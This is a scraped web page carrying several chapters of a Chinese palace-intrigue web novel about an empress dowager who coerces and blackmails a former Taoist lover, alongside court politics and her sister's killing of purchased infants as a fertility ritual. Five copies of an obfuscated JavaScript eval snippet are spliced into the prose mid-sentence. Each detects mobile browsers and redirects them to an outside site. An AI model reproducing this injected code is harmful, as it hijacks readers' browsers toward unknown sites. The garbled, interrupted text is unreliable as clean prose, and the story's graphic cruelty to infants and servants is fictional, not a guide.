崔仪按了按眼角,看到道人身后脸色煞白的王厌,低声谢过。 太清道观由来已久,在历朝历代都地位尊崇,若是遇到昏庸无道的君王,他们甚至不会下山。 卫泠的这一场法事办得极其隆重,曾有帝王大限将至前去请太清道观为其举办丧仪,但道观只拍了两个道人来念经,不一会儿就走了。 今日来了十余个道人,在陵前布成道场念经,还架起了过桥。 王厌跪在蒲团上,神情很麻木,崔仪不知他在做什么,惜云瞧了会儿:“王三公子在为先帝折水灯吧?” 诵经忏拜过水一样不少,甚至在法会道场上亲手折水灯,这阵仗可谓是给足面子,崔仪看着王厌那双手,心中讽刺。 旁人瞧不出来,但王厌的面色实在不好,这样重要的场合,他本不想来,可家中给了叮嘱,再加上观中重视,王厌不得不穿上礼服在道场中给崔仪的亡夫折祈福的莲花水灯。 崔仪看出他的心思,用白帕捂着嘴,站在不远处瞧着王厌的动作。 太后与皇帝是站在最前头的,王厌也知晓崔仪定然望着他,指尖屡次发颤,甚至将其中一张纸撕破了。 他将破碎的纸压在掌心,又拿了张新的,因王厌名声在外,不少人发现这桩事,但皇帝和太后不曾出声,旁人也只当是小差错。 这样的纰漏,换了卫家以往的几位皇帝,杀头都算是顺理成章的小事。 崔仪没有发作,直到这场丧仪办完,在回程的马车上,让人去把王厌请进宫。 王厌身为臣子,难以回绝,事实上自从重新见到崔仪后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791556|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就一直处在神游天外的状态。 二人相见是在正殿,除了几个心腹侍女就只有卫秀还在,不过他在此也不说话,甚至连个眼神都不曾给王厌,将脸埋在朝中的奏折中,还有零零散散的琐事要解决。 王厌还未换下礼服,他忍着心中的纠葛,跪在了二人面前,崔仪一瞧他的面色就知他心不甘情不愿,命他起身:“王三,你我之间,就不必行此虚礼了吧?” 他喉头苦涩:“臣不明白太后的意思。” 见他嘴硬,崔仪微微叹息,殿内灯火成昼,卫秀循着这声叹气侧目望了一眼。 “不明白也罢,”崔仪端详着他的脸,“你两次在先帝面前弄出差错,难道是对先帝有所不满?” 他若出事,定会牵扯到王氏,众目睽睽下的差错,王厌无可辩驳,只得认错:“先帝温良谦和,微臣不敢有异议,只是巧合……” 王厌不擅长辩解,他实在被举得太高,别说是朝堂之事,寻常人情往来也生疏得很。 崔仪也没想将他吓坏,她柔声哀道:“你既这样说,想必是无心,只不过错了就是错了。先帝死后,我梦魇了数日,也不知是否是他亡魂不散,我做主去信给太清道观,这段时日,你就住在宫中为先帝诵经,以免外人议论纷纷,可好?” 分明是询问的话,却根本不给王厌拒绝的机会,他立在原处说不出话,眼神闪躲,不愿与崔仪对视。 这双回避、痛苦的眼睛,在几年前,曾含着点点倾慕之意,注视着崔仪。 他在她面前也不是那样远在云端,淡漠的脸色总会露出疑惑好奇的神色。 在道观长大,王氏也对他诸多限制,王厌对什么都感到新奇,而崔仪是他为数不多接触外界的来源。 事隔多年,王厌依旧认为自己憎恨崔仪。 他此生做过最大胆的事就是为她献出真心,崔仪也的确收下了,不过转头又与旁人成婚,留他一人继续在清清冷冷的观里,再也不曾来看过他。 他恨她。 更恨她的亡夫。 王厌不明白,崔仪怎么能在对他做出那样的事之后,又仿佛什么都没发生? 诀别前那些让人伤心的话语,他至今不敢忘。 那时她已与卫泠有了婚约,王厌不可置信,夜半时分崔仪沾了身露水来找他,只是凝望,什么也没说,随后紧紧拥住了他。 他原本伤心欲绝,正在落泪,却因她的拥抱簇生出燥热之意,他从未与人亲密,那一夜才知晓灵肉相融是这样的极乐。 翌日醒来,他臂上的守宫砂褪去了艳色,但他并不后悔,也不怪她是否下了药。 可崔仪却将衣裳穿好,忧声告知:“王厌,我不曾与卫泠退亲,但我也放不下你。” “你等我几年,待我想个法子,处理好这些事……” 当年的话语犹在耳畔,王厌当时还未穿衣裳,黑发贴在汗湿的胸膛上,他那时的面色一定很难看:“你为什么……你既然不肯放下他,为何要来找我……” 崔仪转过身看他,无动于衷:“什么放不放得下?你以为我心悦他?正是你这份愚蠢和天真,才使我二人不得不分离。我所求之物,你给不了我,我就自己去争。” 她不顾王厌苍白的面色,握着他的手:“等过几年,我会将你接回我身边,你不擅长这些事,那就由我来做,王厌,你千万要等着我。” 5. 不敢 夜幕低垂,崔仪洗沐后屈腿坐在罗汉榻上阅卷。 这几日,惜云已吩咐婢女们在寝殿换上细纱窗,隔上横隔,在月下倒出一片横错有致的阴影,殿内静悄一片。 崔仪手上还有两本折子,一个问的是宫殿修缮的款项,还有一张是王家人递上来的,委婉问宫中抄经还要几日。 道观都不曾来问,王家人竟来了。 想想也是,王厌在自家人眼中是不能入世之人,七情六欲都要远离,怎可待在宫闺中这样久。 崔仪搁下折子,轻笑一声,转脸对惜云道:“明日去见一趟王厌。” 提起此人,惜云不大欢喜:“如今正是焦头烂额之际,何不再放他几日。” 崔仪让他入宫抄经可不是空谈,如今王厌住在含章殿内,笔不停缀地替先帝抄经祈福、贡香奉灯,衣食住行一概行简。 “总该去瞧瞧他,也好让王家人安心些。”崔仪看着那些俱是杂事的上书,话锋一转,“这几日家中可曾来人?得空命崔家来个人见我。” 惜云应声。 王厌入宫已有小半个月,崔仪这段时日茹素守丧,没去见他,也好让王厌适应些日子。 翌日一早用过膳,她前去见了含章殿,却意外在门口遇见了卫秀。 新帝临朝,不得大权,今日也不曾上朝,卫秀未着宫服,还穿着身素白寡淡的纱衣,站在殿前面露难色。 直到见了崔仪,他才眼中一亮,上前行礼:“母后。” 崔仪瞥了他一眼:“陛下。” 她稍行了个礼,连腰都没弯,直问他:“陛下怎么一早来了此处?” 卫秀愁容满面:“这几日夜间心神不宁,难以入眠,不知是否是父亲尚在牵挂我,想来问一问王三公,又怕叨扰了他。” 匆匆一瞥就看出他神色虚弱,像是许久不曾歇息好,崔仪的语气柔和几分:“你有这份孝心记挂着他就好。” 她心中想到,卫秀三四岁时就被送到了卫泠身边,多年养育,想必是有感情的,不过她和卫泠成婚时,这个便宜儿子已经十岁出头,行事很规矩,言行乖巧,和崔仪家中那些兄弟不一样,卫秀乖到没什么存在感。 二人一前一后进了殿内。 殿内冷清,王厌进宫是以官职的身份,按理说只能用两个下人,他的族中另送了两个下手来,缘由是王厌自小生在道观中,生怕不懂规矩,冲撞了宫里的人。 这样的小事,卫秀都不曾请示崔仪就允了。 王家的一个奴仆正端着食案穿堂而过,因不曾让宫婢通报,这仆人猝不及防见了新帝和太后,立刻慌张跪在地上行礼。 食案也被搁置在一旁。 卫秀让他起身,仆人谢恩之后,重新端起了食案。 棕色的案板上只有一个拳头大小的碗,盛着清汤,两片菜叶,旁边还有个果子。 “这是什么?” “回陛下,”宫人的脸埋得很低,“此乃郎君的早膳。” “母后!”卫秀下意识道,“这……儿臣不知此事,也并非儿子的授意。” 崔仪失笑:“我心中有数。” 她自然了解。 卫秀不知她为何这样说,侧着头望她,不曾多问。 这个宫殿很小,走进去没两步,就见王厌端坐于堂内,他原本正捧着道经诵读,听见外头的脚步声,这才放下书文。 小堂内,降真香的气味挥之不去。 崔仪蹙眉踏过石阶,里头的王厌已跪下身行礼:“见过陛下,见过太后。” 卫秀让他起来:“朕听说你非俗家弟子,不必拘于礼数,以后都免礼。” 王厌谢恩,再度站起身,目色冷冽、稍垂着眼,问道:“不知陛下前来所为何事。” 一行人入了内殿,抄经的地方叫做静水堂。 一个蒲团、几樽小像,宽大的桌子上摆满了道家经书与王厌抄好的纸张,竹笔斜放在砚台上,笔尖湿润,可见他晨间已起过身,来此处抄写了几行。 崔仪拿起细看,字迹秀丽工整,每一张都是如此,不曾因为枯燥反复的事情而失了耐性。 她转而对王厌道:“陛下近来多梦,想问问道长可有法子解惑。” 卫秀本想跟上去也看看那些抄书,这会儿又停下来道:“夜间不得安眠,多梦易醒,不知是否父皇仍有牵挂,心中不安,前来请教道长。” 这些并非王厌份内的事务,他只好说:“观中已办过法会,不应当如此,陛下兴许是过劳难眠。” “过劳?” 新帝才十五,卫家人跟他也不亲,朝中失势,手里连个折子都难见几个,王厌能说出这话,可见对朝政全不关心。 崔仪与卫秀对视一眼,替他开了口:“政事有旁人帮衬,皇帝并不忙碌,看来是另有缘由。” 王厌目不斜视越过二人,跪在蒲团上重新提起笔:“御医如何说?” 他这样无礼的举措,崔仪还没发火,王家的两个仆人就吓得跪到了地上,埋头于地。 卫秀也茫然,本想问罪,想起灵堂上的那一幕,有些委屈地望向崔仪。 “我有些话要问一问道长,还请皇帝稍作等候。” 这于礼不合,两个宫人都要反对,卫秀却乖顺地走了出去。 皇帝都如此,其余仆从也跟着退至外堂。 惜云找了个软垫置于一旁的木椅上,扶着崔仪坐在上头,此番举措,王厌连头也不抬一下,只是盯着纸,笔走游龙。 静水堂内只剩下了二人,惜云守在门口。 崔仪见他似乎不打算开口,主动道:“王厌,你心中怨我,可你不该这样对皇帝不敬。” 王厌紧紧握着笔杆,闭目道:“微臣不曾有怨。” “是吗?”崔仪起身,衣裙摆动,停在他身旁,她俯下身,掐着王厌的脸迫使他望着自己,“你为先帝上香出错,在法会上折水灯也出错,还刻意对卫秀不敬……王厌,你不是这样无礼之人,若不是怨我,难道是怨恨卫家、怨恨先帝与卫秀?” “我……”王厌挣开她的手,脖颈上隐隐发红,他慌张地拢起衣领,“你疯了?这是宫里!” 总算有了些凡人的喜怒,崔仪的语色柔和几分:“我又没做什么。” 她坐到他身旁,和他平视:“宣你入宫,是为了见你,这几日你可曾想明白?” 王厌哑声:“这几日?太后忘了如今的身份?臣何止想了这几日,更是想了整整五年,却始终没有看透你。” “有什么看不透?”崔仪怜惜地看着他的手,“我叫你等我,如今卫泠死了,你我终可相守。” 相守二字,如今在王厌耳中听来实在讽刺:“太后许是记错了人,与你结过姻缘、拜过天地的,是先帝卫泠,而非微臣。” “好了,都与你说了当初的婚约只是权宜之计,你还闹什么?”崔仪失望地望着他,为自己解释,“我从未爱过他,这些年一直记挂着你。” 王厌气急失态,闻言不由要笑,冰雪消融一瞬,似兰花倾仄。 “记挂我,所以五年来不曾有过书信、不曾有一句问话?”这番近乎质问的话说出口显得急切,王厌不得不冷静,“你走吧,抄完这些道书,我们往后也不必见面。” 崔仪隐有痛色:“你以为是我不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791557|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?卫泠与我昼夜不离,府中眼线错综复杂。长戈山战事后,丰宣又对我二人种种揣测,我怎么能与你联络置你于水火之中,我是为了保护你!” 王厌只听进去“昼夜不离”这样的字眼,神色失控地移开眼,想要起身躲避却又被崔仪给拽了回来。 他本就消瘦,晨间又没用膳,被崔仪这样重重一扯,整个人摔到她怀里,淡淡的香味浸入鼻尖。 王厌如惊弓之鸟,大惊失色地退了出来,面若白纸地扶着桌沿。 “罢了,你先用膳吧。” 崔仪也没想到他如今这样脆弱,端过食案亲自喂他用饭,王厌却不领情,自个儿端着碗,用勺子小口喝汤。 “你如今住在宫中,我可以替你将那两个仆人送走,”崔仪看他吃这些汤汤水水,是真的心疼他,“你成日里只吃这么点东西,身子坏了如何是好?” “谢过太后恩典,只是微臣早已习惯。” 王家人不许王厌吃饭,进食在他们看来是凡人难以摆脱的口腹之欲作祟,王厌不是凡人,自然不许吃饭。 他一天只能早上吃这样一顿,且不沾荤腥,崔仪与他相识时,王厌还在长身子,怎么会不饿?可他饿急了也没办法,只能不停地喝晨间朝露之水,饿得疯了,就连带花瓣洗净一同吃入腹中。 很可悲,不过只有这样,他才是最符合王家人期盼的嫡孙。 崔仪见他好话听不进去,渐渐冷脸:“你非要如此?当年我的身不由己,你半点不能体谅?” 王厌沉默良久:“你的身不由己,却是我的切肤之痛。” 他已摆出了油盐不进的架势,崔仪打量一眼四周,冷笑说起别的:“王厌,你可要想清楚了。” “你以往所受的优待,是因为前面的两任皇帝尊崇道家,偏迷求仙问道,这才是你有了这样的声望。如今丰宣死了,卫家人没有能帮衬到卫秀,我可不信这些。你以为,你还能靠这身份帮到你族人什么?” ”你被送入道观,不问朝政,还在心中自得?今日藐视新帝,还是两个仆人替你谢罪,我大可以这个罪名处死你身边的人。” “你要威胁我?”王厌不可思议地望着她,“我竟不知,你还有这样的一面。” 崔仪怒道:“是你逼我。我若不是为了前程,会与卫泠成婚?你非但不体恤我,还对我多有埋怨……你的心是什么做的?王厌,你不是口口声声说爱我么?” 王厌的眼中蓄起泪珠,恨恨道:“那是五年前的我。” 多年前的雨夜在他心中从未离去,他的胸腔潮湿阴冷,曾经孤注一掷的感情最后沦为笑话,他在道观中听闻她大婚的消息,卫泠甚至带她到观中祈福,他在远处望着她,她面容含笑,如沐春风,没有一丝悲痛。 “五年前和五年后的你,在我看来没有丝毫区别!”她抓起他的手腕,“刚才你冲撞新帝,我一会儿就将那两个仆人处死,往后你再不知悔改,身边的人只会死得更多!王厌,你会为你的愚昧付出代价,若不是我人前不曾责怪你的种种失职,你以为你的族人就会放过你?” 王厌根本不信她的话:“族人不会这样对我。” “别蠢了,”崔仪与他贴得很近,嗅到他身上的阵阵兰香,语声微妙,目色审视,“你如今也二十了……将要人老珠黄的年岁,不是吗?你既不会文也不会武,只有这样一张脸和虚名,你的家人才会护着你,他们还以为你和从前一样纤尘不染,玉质冰清。” 王厌脸色剧变,想收回手,崔仪一点点掀起他的衣袖,仿佛揭开他最后一层遮羞的面纱。 “你敢不敢,让你的族人知晓守宫砂早已不在?” 6. 求子 净水堂中的争吵声并没有传出去,惜云满面紧张地站在门口。 几个仆人都低着头,卫秀就站得更远了,他立在春光下望着晴空,面上一片茫然。 直到堂内传来重物落地之声,崔仪才掀帘而出,手上沾染着些墨汁,惜云连忙让人去打水。 卫秀回头,焦急道:“母后,出了何事?” 崔仪将手递在惜云掌中,安抚他:“不碍事,只是不慎打落了砚台。” 她眸色一转:“宫中是非之地,王三自发留在宫中祈福,如此诚心,想必再过几日,陛下就可安然入梦。” 卫秀松了口气:“那就好。” 崔仪一早上被王厌弄得不痛快,寻了个由头将他留在宫中,心中仍不解气,下令处死了王家带来的送进来的两个仆人,将他们的头颅挂在净水堂堂口警醒王厌。 听闻此事,卫秀于心不忍:“母后,这样做会不会吓到他?” 崔仪不为所动:“不知人命贵,又怎会发自内心地为你父皇抄经?” “母后教训的是,”卫秀怯弱,“只是宫中接连走了两个皇帝,儿子不想再见血。” 便宜儿子也是个没心气的,这一点极不像卫家人。 世人都知晓卫氏的疯子多,疯子也有好处,那就是征战沙场时能靠着异于常人的意志力砍杀。 “你啊……”崔仪呢喃一声,没再继续说。 崔家翌日来了人,崔仪去到前堂时,见自己的父亲立在大堂正中,身后还站着一身朱衣金钗的崔明意,她难得穿得这样明丽,可惜气色依旧不好,眼下两片乌青。 崔仪心中冷笑,款款向前:“父亲为何不行礼?” 她的父亲正是当今崔家家主,外人尊称一声崔太师,多年来辅佐皇帝掌管军权,在外威风,在家更威风,如今听见自己生养的庶女说出这番话,立刻吹胡子瞪眼:“你这不孝子,当日在皇陵的眼色,以为为父没看见?” 卫泠死了,他不知道兵符在谁手中,崔仪心中明了,转而一笑:“我不过是说来打趣,爹怎么还当真了?” “明意也来了,”崔仪笑着和她打招呼,“听说最近谢家不太平,明意竟也得了空?” 崔明意虚虚摆手,寻了个软塌恹恹坐下:“姐姐莫要取笑我,我心中苦闷得很,借机陪父亲进宫来,只是想喘口气。” 她在外甚少发作,崔仪也不做他想,正色说起了别的:“罢朝的期限也要到了,这几日送来的折子依旧是些不痛不痒的废话,太傅与其他内臣还不肯放手。” 太师道:“此事我已知晓,王氏如今拿不出人了,只能仰仗那老不死的,今日你召我入宫,他们必然也得了风声。” “不打紧,”崔仪意有所指,“他那嫡孙在我手上。” 原本病恹恹的崔明意忽然站起身:“什么嫡孙?谁?王三?” “明意!”太师低声喝道,“你在谢家待糊涂了,王三早就被请入宫中给先帝祈福。” 蜂鸣声从耳道刺入脑中,崔明意足底一软,侍女扶住了头晕目眩的她。崔仪看在眼中,不知道妹妹又出了什么事,继续和父亲商议正事,思量着如何将太傅最后一点实权夺走。 崔明意很聪慧,也极有见解,否则太师不会带她进宫,然而今日她身子不适,只坐在一旁歇息,崔仪心道她来都来了,还是关照了几句,甚至叫人送了些降真香给她安神。 “王三一向住在道观中啊,阿姐。”崔明意的唇瓣惨白,“你将他拘在宫中,是留着等到与王家撕破脸那一日?” 崔仪颔首:“自然。” 从宫中出来,崔明意回了府上。 她与谢既并不与婆母同住,不过婆母身旁的姑姑等待府邸门口遥遥望着,见马车驶回来,姑姑迎上前,关切望着崔明意的脸色。 “夫人可曾好些了?” 她的话语饱含担忧,不断叹气:“老夫人并不曾催你们二人……子嗣之事,你二人终究还年轻,急不得。” 崔明意哭得叫人心疼:“姑姑,我想要孩子呀!就是母亲不催,我也想要!” 她和谢既成婚也有好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791558|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,肚子至今没动静。 谢家人待她很好,从前就好,如今她姐姐当了太后,更不会苛待崔明意。 只有一回,成婚第二年,婆母委婉提了一嘴子嗣之事,崔明意又哭又闹,伸手就要扇自己脸,结果谢既心疼得不行,主动接下了那巴掌。 于是崔明意又跪到地上,自诉身为妻子的种种不足,情真意切涕泗横流,将婆母看呆在原处,事后方意识到,原来崔家这个嫡女并非常人,脑袋似乎有些差错,也就不敢逼她。 京中金玉其外的事不少,崔明意私底下稍有些疯癫,家中人尽心掩盖。 今日谢既还不曾回来,崔明意红着眼送别姑姑,一路哭声不断,往后院走。 那里开了一个小小的靶场,侍女福真追着她走,崔明意只道:“将我的弓取来。” 成婚之后,崔明意不再习武,不过她还保留着当初和姐姐一同用过的弓箭。 少女时期所用的弓,精致小巧,只能作练习用。 后院里立好了靶子,福真不敢往靶子上看,低声说:“夫人,都备好了。” 崔明意颔首,让福真蒙住了她的眼,拉开了长弓。 后院原本是个花圃,被崔明意收拾了出来,改了一个小小的靶场,三个布袋被挂在高处,里头似有活物。 视野模糊,弓箭破风穿过,崔明意闭着眼,听到扎扎实实的入肉声。 “是不是中了?福真,是不是射中了!” 她欣喜若狂,等不及福真为她揭开眼罩,解下遮挡,小步跑到靶场的另一边,果然见到片刻前射出的那只弓箭穿透了布袋,鲜血逐渐涌出。 崔明意喜上眉梢,解开布袋又确认一番,喜极而泣:“死了,死了!苍天有眼,替我做了这个抉择,老天爷助我一举得子。” 福真不敢细看,她只晓得夫人疯了,为了求个嫡子,将那些男婴买回来当靶子,还坚信什么只要她蒙着眼射中那就是苍天授意…… “去备下热水。”崔明意抚摸着弓身,幸福道,“我定要怀个嫡子……” 7. 金贵 送走了父亲和妹妹,崔仪依旧坐在宝殿内没有走。 她望着最上端的皇位,目色中露出些鄙夷。 开朝以来,太多人坐过那位置,她总觉得很脏。 不过这种话到底是说不出口,崔仪收了心思,百无聊赖与惜云去御园中赏花。 正值梨花新苞欲放,如今新帝临朝,宫内很是冷清,崔仪远远就见到坠在枝头、皎白似雪的花骨朵。 卫秀站在梨树下仰望望着,宫人通报,他这才回身,无措地唤了句:“母后,您过来了。” 他叫太监退到一旁,跟到崔仪的身后,解释道:“我想瞧这些梨树何时盛开,届时将其送到您殿中。” 孝心感天,崔仪的面色柔和下来,朝他笑道:“陛下有这份心就够了,至于这梨树就不必再动,草木何辜。” 卫秀欲言又止,瞧了眼一旁的惜云姑姑,小声:“私底下,母后还是唤我的名讳,陛下二字,听着生分不少。” 崔仪没答应,但还是叫了声:“阿奴如今是皇帝,怎可说出这样的儿戏之言?” 阿奴这乳名是他的生母给他起的,那位可怜的妇人在夫君被流亡暴毙后,郁郁寡欢没多少日子,也病去了。 稚龄中的卫秀无人照看,其余几个兄弟都不要这个孩子,最终他被送到了卫泠府上。 “母后教训的是。”卫秀向来乖顺,极少提要求,若是被拒了也不会哭恼,只谦卑道,“儿子知错。” 崔仪知道他不会再提此事了,好言宽慰了几句,临到傍晚,留卫秀在宫中用膳。 自从卫泠死了,卫秀就总是愁云满面,今日在她宫中用膳,他才总算露出真心实意的笑颜。 仍是一桌素食,卫秀望着这些菜,轻声劝道:“母后也不必再茹素了,父皇并不愿见你如此。” 崔仪点了点头:“既然陛下开了口,那明日就吩咐下人换了菜式。” 母子二人和和气气地用了顿饭,饭后卫秀道:“我命人在宫中收拾块地方,好让母后练箭。” “正有这打算,你倒仔细。”崔仪失笑。 正聊得高兴,婢女悄声进来,凑在惜云耳旁递话,几乎是一瞬,惜云就将眼神落在了崔仪身上,崔仪似有所感,抬眸望去。 “太后……”惜云弯腰下来,“下人来报,说王三受了惊吓,高热不退,正是病重。” 卫秀坐得不远,自是听到了这话,神情颇为紧张。 崔仪蹙眉道:“这个王三,怎么如此不成用?罢了,我去一趟就是,宣上太医。” 面对这一桌的饭菜,崔仪道:“王三是贵客,不能死在宫里。” 最后一丝晚霞从卫秀身后沉下,阴影中崔仪没看清他的神情,只听到他乖巧的声音:“儿子明白。” 崔仪到含章殿时,太医也匆匆赶到,清冷的宫院中只有几个跪在地上提心吊胆的宫人,崔仪入了座,问起话来。 “怎么回事?” 其中一人跪地行礼后,交待道:“昨日道长见了那人头后一直心神不宁,但他不喜人近身,奴才不曾多问,今早送膳,才发觉道长浑身发热卧于榻上昏迷不醒,奴才说去请太医,道长不愿……方才我见情况实在不对,斗胆请人通报。” 崔仪听明白了,叫人退下,冷声道:“不知好歹。” 太医尽心尽职,给王厌细细看了脉象,崔仪进了内殿,站在竹林绣纹的屏风外。 “如何?” “回太后,这病倒好治,忧思过重又受了惊讶,被邪风入体,这几日避寒不出、好好喝药就是。”太医恭敬道,“只是这王三郎常年累月地不进五谷,人没有这些怎么能行?他这副身子骨实在差,表面康健,实则半点冷暖都受不得,得好好养着。” “有劳太医开方,此事切莫声张。” 太医也明白:“实在是王家三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791559|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎身子不好,任谁来看都是如此。太后,可要将补方一并写下?” 崔仪允了。 王厌病得很重,意识仿佛溺在一片水中不得清明,他浑身热汗,挣扎许久,在混乱的梦境中竟然见到了五年前的崔仪。 当初的崔仪脸颊微圆,凤目明亮,也不知怎么那样大胆,一人一马进山,翻进了他的院中。 她最心爱的弓被放在一旁,弯腰跪在蒲团上,一手撑着地,好奇地望着他手臂上的红点。 王厌脸颊发烫,挑起温柔的眼波,缓缓道:“这是我的秘密,我告诉你……” 他的秘密。 他的噩梦。 总算从噩梦中逃离,王厌猛然惊醒,眨了眨眼,看到头顶陌生的雕花,逐渐会想起他如今身处宫中。 崔仪目睹他苏醒的过程,坐在屏风旁的小榻上,低声开口:“醒了?我听见你在喊我的名字。” 夜色之中没想到还有另一个人,王厌又被吓了一跳,苍白的脸转过来,崔仪点起了烛火,看他这副惊魂未定的样子,语气软了几分:“太医给你把过脉,幸而不严重,一会儿把药喝了。” 室内漂浮着馥郁的兰香,崔仪曾想过王三这样的体质出的汗是不是香的,五年前那个夜晚得到了证实,今夜只不过是又验证一回。 王厌好不容易回过神,还算镇定:“你怎么能在此处?叫人看到……” “叫人看到又如何?有命往外传么?”崔仪站起身,在王厌复杂的目光中坐到床边,见他长发如墨落在雪色中衣之上,更显玉质仙姿。 “更何况你是我请进宫的,若是死了,我怎么向王家交代?”崔仪伸手去摸他的脸,“你啊,实在金贵。” 字里行间似有嘲讽之意,王厌避开她的手:“多谢太后挂念,臣已无碍。” 他披上衣衫,想起身送客,尚在病中的身子却不争气,让他又重重坐了回去。 8. 临朝 崔仪见他虚弱不堪,没再刺激他,转身出了内殿,不一会就有人送药进来。 蜡山堆出如昼的白火,王厌坐在榻上用药,隔着屏风,远远见到有人来了,但并不是崔仪,而是卫秀。 卫秀在太监的拥簇下进来,见王厌已坐起身子喝药,室内阵阵兰香,他下意识蹙眉。 情绪转变仿佛只是一瞬,很快又换了副关切的神色:“道长可曾好些?朕听太医说你身子不好,不能受累,是宫人们疏忽了。” 王厌将苦涩的药汁一饮而尽,面不改色:“多谢陛下,臣已无碍。” 他病容满面,哪里像无碍,崔仪在一旁道:“既然道长无事,陛下回宫歇着吧,明早将要临朝。” 话音刚落,卫秀已转身望向她。 他是得了消息后匆匆赶来的,听说王厌一直不曾醒,与崔仪一同坐在外殿守着。 但为何母后要进去?卫秀抿唇不语,半晌对崔仪笑道:“母后也该早些歇着。不过……” 他的眼神在宫内打量,懊恼:“是儿子考虑不周,道长既是贵客,含章殿也与道长身份不符,多有不便,待道长好一些,就叫人帮着换个宫殿。” 崔仪笑了一笑,见卫秀衣装简便,只穿一身月蓝锦袍,长发未束,秀美的脸在月色下雌雄莫辨,目中满是忧虑。 卫秀心细,交给他做,崔仪很放心,欣慰道:“陛下·体恤朝臣之心叫人动容,夜色已深,也保重身子。” 她瞥了眼屏风后的王厌,微笑:“我也该走了。” 卫秀不再多言,带着倦意离去,崔仪坐在外殿,王厌已喝过药,出来送她。 他仍不看她,却心惊于她的大胆:“你……陛下就在外殿,你方才怎么敢与我说那些?” 含章殿和四周的侍卫都是她的人,但卫秀赶过来的确更好地将此事遮掩过去。 崔仪不在乎卫秀听到没:“他么?懦弱纯善,手中无权,管他做什么。” “更何况……”崔仪盯着他的面色,“我们什么都没说,倒是你在梦中喊我的名字。” 果然见他病容更显郁色,崔仪也不想知道他会说出什么无力的辩解,他心中仍有她,已使她心满意足地离去,临走前,她声色柔和:“好好养身子,别糟蹋自己。” 自从去年卫泠病重,宫中的大部分人都已被崔仪换掉,但她仍未找到丰宣手中最重要的那枚兵符,各家的人还得处理,她无法每日都来陪伴他。 只盼他能想明白,崔仪回了宫中,吹蜡歇下。 新帝临朝,百官面圣,难得用上了宝殿,大殿内早已被宫人收拾出席位,上朝之前,崔仪站在珠帘后,望向下面乌泱泱的人群。 惜云还在为她整理袍带,绛紫色的衣袍上挂着如云的雪色锦帛,崔仪也低头看了眼:“穿这样的衣裳,若是有人刺杀我,我怎么跑?” 惜云低声:“这深宫中,谁有那个本事安排人来刺杀您?” “也对。”崔仪颔首,忽然想到别的,“祝令梅上京上到何处去了?怎么至今不见踪迹。” 惜云并未得到消息,摇了摇头。 上朝时,崔仪的疑惑得到了解答,她的那位爹在群臣面前道:“长戈山大营左副将军左青与祝军师祝令梅将要入京述职面圣。当初长戈山一战祝军师身负重伤,军功赫赫,却迟迟未有机缘面圣,今日臣祝恳请陛下以军礼迎之。” 提及长戈山,崔仪的脸色不免凝重,卫秀悄悄看她,唤了声母后,崔仪坐在一侧,替他开口:“允了。” 今日上朝,卫秀除了起初说了几番场面话,后面甚至没怎么张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791560|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,一直坐在皇位上旁听。 他还是认真穿着朝服,墨色的衣衫用金线绣了龙纹在袖口,宫人连夜赶制,但卫秀撑不起这身衣裳。 难怪祝令梅多日不曾有消息,原来是与崔太师打了声招呼。 朝臣心知肚明长戈山一战中崔仪也披甲上阵,与祝令梅连夜奔袭百里突袭敌营火烧军粮,如今军礼迎之,不外是给崔家人树立威望。 